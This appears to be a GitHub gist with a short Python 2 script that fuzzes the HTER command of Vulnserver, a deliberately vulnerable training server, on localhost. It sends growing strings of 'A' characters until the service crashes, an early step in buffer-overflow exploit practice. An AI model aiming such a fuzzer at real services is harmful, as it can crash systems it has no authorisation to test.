Skip to content

Instantly share code, notes, and snippets.

@dave5623
Created January 21, 2014 02:24
Show Gist options
  • Save dave5623/8533417 to your computer and use it in GitHub Desktop.
Save dave5623/8533417 to your computer and use it in GitHub Desktop.
import socket
numAs = 10
try:
while True:
# open a connection to vulnserver
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect (("localhost", 9999))
# receive the banner for vulnserver
s.recv (1024)
print "[*] Sending " + str(numAs) + " As"
# send the number of As to fuzz the HTER command
s.send ("HTER " + "A" * numAs + " \r\n")
# receive the response from vulnserver
s.recv (1024)
# close the connection
s.close ()
# increase the number of As we send next time
numAs += 10
except:
# if we get to here then something happened to vulnserver because the connection is closed
print "Socket closed after sending " + str(numAs - 10) + " As"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment